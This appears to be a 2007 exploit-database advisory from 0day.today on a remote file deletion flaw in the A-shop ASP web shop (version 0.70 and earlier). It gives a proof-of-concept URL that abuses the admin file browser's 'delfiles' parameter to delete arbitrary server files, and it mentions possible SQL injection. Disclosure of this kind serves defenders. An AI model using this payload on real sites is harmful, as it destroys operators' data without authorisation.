A-shop <= 0.70 Remote File Deletion Vulnerability

2007-07-18T00:00:00
ID 1337DAY-ID-2036
Type zdt
Reporter Timq
Modified 2007-07-18T00:00:00

Description

Exploit for asp platform in category web applications

                                        
                                            =================================================
A-shop <= 0.70 Remote File Deletion Vulnerability
=================================================



A-shop <=0.70 Multiple vulnerabilities

Found Bug: Timq


Vendor:http://www.rammdev.com/ashop/

PoC:
http://site.com/admin/filebrowser.asp?folder=products&delfiles=[del any file on server]

It is possible to delete not only the files in the folders listed,
but also ouside its directory.
Also possible sql injections in other areas.


#  0day.today [2018-04-06]  #